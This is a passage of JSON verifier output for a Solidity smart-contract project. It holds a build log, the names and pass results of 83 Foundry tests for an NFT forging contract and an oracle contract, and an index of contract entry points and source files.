passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"933a38b30c6d7458398efe64273a4b2c5418fd5ebd759a5420fde2bb365fbc40","verifiedTreeHash":"1864623a27d42c34c17775b9c5b027d09501bb1b","verifierVersion":"0.1.0+a490e3c0"},{"checks":[{"durationMs":3931,"exitCode":0,"name":"build","output":"Compiling 74 files with Solc 0.8.30\nSolc 0.8.30 finished in 3.82s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Marks.t.sol:152:5:\n    |\n152 |     function test_noEarlyWaves() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":378,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/audit/WeakPanelRecord.t.sol:WeakPanelRecordTest\n[PASS] test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() (gas: 389387)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.21ms (588.79µs CPU time)\n\nRan 6 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_constructorsGiveTheOwnerEverything() (gas: 52430)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 489765)\n[PASS] test_constructorsWireTheTwoContracts() (gas: 59660)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 75354)\n[PASS] test_onlyTheOwnerWires() (gas: 88551)\n[PASS] test_ownerWiringThenAFirstForgeSplitsThePrice() (gas: 726470)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.67ms (717.52µs CPU time)\n\nRan 1 test for test/audit/RevealReroll.t.sol:RevealRerollTest\n[PASS] test_theRevealBlockDoesNotChooseTheMark() (gas: 1105499)\nLogs:\n  mark when revealed at the chosen block: 0\n  mark when revealed at another block: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.47ms (1.60ms CPU time)\n\nRan 7 tests for test/InhabitantsSecurity.t.sol:InhabitantsSecurityTest\n[PASS] testFuzz_copyCannotBlockAnyForgePath(bytes32,uint8) (runs: 256, μ: 592604, ~: 596217)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_staleRevealNeverDrawsFromKnownFallback(uint256,bytes32) (runs: 256, μ: 360738, ~: 360919)\nLogs:\n  Bound result 859033\n\n[PASS] test_duplicateCannotSwitchPaymentPathsOrBeResetByTransfer() (gas: 618537)\n[PASS] test_hashAt256BlocksStillReveals() (gas: 405791)\n[PASS] test_revealManyProcessesFreshAndStaleSoulsAndSkipsDuplicates() (gas: 826930)\n[PASS] test_staleRevealRearmsAndLaterRevealsExactlyOnce() (gas: 600235)\n[PASS] test_zeroSoulStillRejectedBeforeNamespacing() (gas: 76700)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 18.67ms (30.03ms CPU time)\n\nRan 9 tests for test/Reserve.t.sol:ReserveTest\n[PASS] test_aReservedSoulCanBeGivenAway() (gas: 264889)\n[PASS] test_fiftyInOneTransactionFitsABlock() (gas: 9936004)\nLogs:\n  gas for 50 reserved souls: 4977089\n\n[PASS] test_manyInOneTransaction() (gas: 10031207)\n[PASS] test_onlyTheOwnerForgesReserved() (gas: 35178)\n[PASS] test_paidSoulsTakeIdsFromOne() (gas: 1004701)\n[PASS] test_reserveIsAHundredOfTheThousand() (gas: 20486)\n[PASS] test_reserveStopsAtAHundred() (gas: 14226045)\n[PASS] test_reservedIsFreeInAnyPhaseAndTakesTheLastIds() (gas: 403650)\n[PASS] test_reservedSoulsAreUniqueAndReveal() (gas: 396760)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 20.59ms (7.96ms CPU time)\n\nRan 11 tests for test/Bazaar.t.sol:BazaarTest\n[PASS] testFuzz_splitIsExact(uint256) (runs: 256, μ: 286435, ~: 288673)\nLogs:\n  Bound result 712721769742982909665\n\n[PASS] test_emitsPurchased() (gas: 139710)\n[PASS] test_itemsFollowTheTokenToItsNewOwner() (gas: 221120)\n[PASS] test_memorialSoulCannotBuy() (gas: 121563)\n[PASS] test_needsTheAllowance() (gas: 135954)\n[PASS] test_onlyTheOwnerMayBuy() (gas: 43013)\n[PASS] test_splitFollowsSetSplit() (gas: 212624)\n[PASS] test_splitIsExactWithRoundingDust() (gas: 285178)\n[PASS] test_splitIsExactlyTheForgeSplit() (gas: 285209)\n[PASS] test_unknownSoulReverts() (gas: 40218)\n[PASS] test_zeroAmountReverts() (gas: 44433)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 23.02ms (23.66ms CPU time)\n\nRan 1 test for test/OracleSecurity.t.sol:OracleCallbackGasTest\n[PASS] testFuzz_listDeliveryAndRecordRecovery(uint8,bool) (runs: 256, μ: 740717, ~: 815429)\nLogs:\n  Bound result 3\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.30ms (44.49ms CPU time)\n\nRan 4 tests for test/EthereumDeployment.t.sol:EthereumDeploymentTest\n[PASS] test_everyConstructorAddressRejectsZero() (gas: 459656)\n[PASS] test_exactEthereumArgumentsAndOwnerRoles() (gas: 133929)\n[PASS] test_factoryHasNoOwnerPowers() (gas: 65101)\n[PASS] test_runtimesMeetProtectedSizeAndOpcodeRules() (gas: 15972065)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 94.25ms (93.22ms CPU time)\n\nRan 6 tests for test/Caps.t.sol:CapsTest\n[PASS] test_cannotClaimSeerSlotsWithoutTheLeaf() (gas: 153825)\n[PASS] test_listSpotIsOneEarlySoulThenTwentyInAll() (gas: 4263599)\n[PASS] test_publicStopsAtTwenty() (gas: 4123400)\n[PASS] test_seerCapCountsEveryForge() (gas: 5217016)\n[PASS] test_seerForgesTwentyFiveAtFour() (gas: 5518187)\n[PASS] test_twentyPerWalletIsBuiltIn() (gas: 7680)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 261.66ms (8.31ms CPU time)\n\nRan 6 tests for test/Marks.t.sol:MarksTest\n[PASS] test_cannotRevealBeforeTheHashExists() (gas: 481122)\n[PASS] test_everySoulDrawsWithTheSameOdds() (gas: 19713734)\n[PASS] test_fullDeckComesOutExactly() (gas: 251754819)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 93838)\n[PASS] test_noEarlyWaves() (gas: 5627)\n[PASS] test_revealManySkipsWhatIsNotReady() (gas: 594436)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 261.64ms (276.81ms CPU time)\n\nRan 15 tests for test/OracleSecurity.t.sol:OracleSecurityTest\n[PASS] testFuzz_panelFloorsApplyToEveryRelay(uint16,uint16,uint16) (runs: 256, μ: 339151, ~: 333488)\nLogs:\n  Bound result 50\n  Bound result 75\n  Bound result 76\n\n[PASS] test_agreementFloorIsIndependentOfQuorum() (gas: 353481)\n[PASS] test_callbackRejectsWrongSenderUnknownAndSettledRequests() (gas: 581489)\n[PASS] test_defaultPanelPolicy() (gas: 22772)\n[PASS] test_failureMovesNoFundsAndUnansweredRewardsCanBeCancelled() (gas: 593878)\n[PASS] test_falseAnswerIsStoredUnderStipendAndReleasesRewards() (gas: 651774)\n[PASS] test_invalidPanelPoliciesAndZeroActionRevert() (gas: 109772)\n[PASS] test_onlyOwnerSetsPolicyAndAction() (gas: 60272)\n[PASS] test_ownerCanRaisePolicyAndAcceptLargerPanel() (gas: 497562)\n[PASS] test_ownerMigratesRewardsActionAfterRetirement() (gas: 1678756)\n[PASS] test_ownerWithdrawsOnlyFreeBalance() (gas: 564294)\n[PASS] test_smallPanelCannotBypassWithEnoughAgreement() (gas: 320331)\n[PASS] test_threeSeatRelayCannotActivateOrRejectRewards() (gas: 608821)\n[PASS] test_unpinnedExpiredAndTamperedAnswersCannotSettle() (gas: 412995)\n[PASS] test_weakCallbackLeavesRequestPendingThenStrongCallbackSucceeds() (gas: 887063)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 261.73ms (22.63ms CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsAFreshSignatureFromTheVectorKey() (gas: 228870)\n[PASS] test_acceptsTheProtocolSignatureUnderStipend() (gas: 261557)\n[PASS] test_callbackSelectorIsCanonical() (gas: 485)\n[PASS] test_digestMatchesTheProtocol() (gas: 10852)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 261.74ms (1.14ms CPU time)\n\nRan 12 tests for test/Shift.t.sol:ShiftTest\n[PASS] test_aNewTokenCanBeListedLater() (gas: 1131560)\n[PASS] test_aReferrerGetsFivePercent() (gas: 606815)\n[PASS] test_aSoulForTwoHundredThousandShift() (gas: 388761)\n[PASS] test_badSettingsAreRefused() (gas: 119256)\n[PASS] test_idsAreSharedWithForgesInImd() (gas: 913587)\n[PASS] test_imdIsSharedAndShiftGoesToItsPayeeAlone() (gas: 889975)\n[PASS] test_needsTheTokenAllowance() (gas: 252028)\n[PASS] test_onlyInThePublicPhase() (gas: 141639)\n[PASS] test_shiftIsListedAtDeploy() (gas: 33655)\n[PASS] test_theOwnerSetsPriceCapBurnAndPayee() (gas: 957387)\n[PASS] test_theWalletCapCountsBoth() (gas: 4049727)\n[PASS] test_withoutTheTokenOnThisChainItReverts() (gas: 192033)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 261.95ms (4.66ms CPU time)\n\nRan 13 test suites in 263.48ms (1.52s CPU time): 83 tests passed, 0 failed, 0 skipped (83 total tests)\n","passed":true},{"durationMs":59,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"GodsOfIMDInhabitants.approve(address,uint256)\",\"GodsOfIMDInhabitants.commission(uint256,uint8,bytes32)\",\"GodsOfIMDInhabitants.forge(bytes32,address)\",\"GodsOfIMDInhabitants.forgeAllowlist(bytes32,address,uint256,bytes32[])\",\"GodsOfIMDInhabitants.forgeReserved(bytes32)\",\"GodsOfIMDInhabitants.forgeReservedMany(bytes32[])\",\"GodsOfIMDInhabitants.forgeWithToken(address,bytes32,address)\",\"GodsOfIMDInhabitants.petition(uint256,bytes32)\",\"GodsOfIMDInhabitants.purchase(uint256,bytes32,uint256)\",\"GodsOfIMDInhabitants.refresh(uint256)\",\"GodsOfIMDInhabitants.refreshAll()\",\"GodsOfIMDInhabitants.renounceOwnership()\",\"GodsOfIMDInhabitants.reveal(uint256)\",\"GodsOfIMDInhabitants.revealMany(uint256[])\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256,bytes)\",\"GodsOfIMDInhabitants.setAddresses(address,address)\",\"GodsOfIMDInhabitants.setAllowlistRoot(bytes32)\",\"GodsOfIMDInhabitants.setApprovalForAll(address,bool)\",\"GodsOfIMDInhabitants.setBaseURI(string)\",\"GodsOfIMDInhabitants.setForgeToken(address,uint256,uint256,uint16,address)\",\"GodsOfIMDInhabitants.setMaxPerWallet(uint256)\",\"GodsOfIMDInhabitants.setMemorial(uint256,bytes32)\",\"GodsOfIMDInhabitants.setOracleCost(uint256)\",\"GodsOfIMDInhabitants.setPayees((address,uint16)[])\",\"GodsOfIMDInhabitants.setPhase(uint8)\",\"GodsOfIMDInhabitants.setPrices(uint256,uint256,uint256,uint256)\",\"GodsOfIMDInhabitants.setReferralBps(uint16)\",\"GodsOfIMDInhabitants.setRoyalty(address,uint96)\",\"GodsOfIMDInhabitants.setSplit(uint16,uint16,(address,uint16)[])\",\"GodsOfIMDInhabitants.setSteward(address)\",\"GodsOfIMDInhabitants.transferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.transferOwnership(address)\",\"OracleShrine.anchor(uint64,bytes32,bytes32)\",\"OracleShrine.ask(bytes32,bytes,bytes32[],uint8)\",\"OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\"OracleShrine.cancelRewards(uint64)\",\"OracleShrine.claim(uint64,address,uint256,bytes32[])\",\"OracleShrine.expireRewards(uint64)\",\"OracleShrine.finalizeRewards(uint64)\",\"OracleShrine.onFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"OracleShrine.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.onResult(bytes32,bytes32,string)\",\"OracleShrine.record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.rejectRewards(uint64)\",\"OracleShrine.renounceOwnership()\",\"OracleShrine.setDirector(address)\",\"OracleShrine.setIntake(address)\",\"OracleShrine.setMaxRewardBps(uint16)\",\"OracleShrine.setMinQuorum(uint16)\",\"OracleShrine.setPanelMinimums(uint16,uint16)\",\"OracleShrine.setPrice(uint256)\",\"OracleShrine.setRewardsAction(bytes32)\",\"OracleShrine.setSigner(address)\",\"OracleShrine.transferOwnership(address)\",\"OracleShrine.unpin(bytes32[])\",\"OracleShrine.withdraw(address,address,uint256)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":48,\"LICENSE\":21,\"README.md\":64,\"foundry.toml\":12,\"launch.json\":1,\"remappings.txt\":2,\"src/GodsOfIMDInhabitants.sol\":780,\"src/OracleShrine.sol\":678,\"src/interfaces/IIntake.sol\":21,\"test/Bazaar.t.sol\":178,\"test/Caps.t.sol\":129,\"test/EthereumDeployment.t.sol\":162,\"test/InhabitantsSecurity.t.sol\":179,\"test/Launch.t.sol\":124,\"test/Marks.t.sol\":156,\"test/OracleConformance.t.sol\":85,\"test/OracleSecurity.t.sol\":261,\"test/Reserve.t.sol\":167,\"test/Shift.t.sol\":244,\"test/audit/RevealReroll.t.sol\":89,\"test/audit/WeakPanelRecord.t.sol\":107,\"test/helpers/OracleFixture.sol\":128},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"d875943299458bf38ad7ff18efc7e4705001074caee668597e37df2d36c56f32","verifiedTreeHash":"487616254421c674872f7cef30aeef456aa4e209","verifierVersion":"0.1.0+435fe828"}]}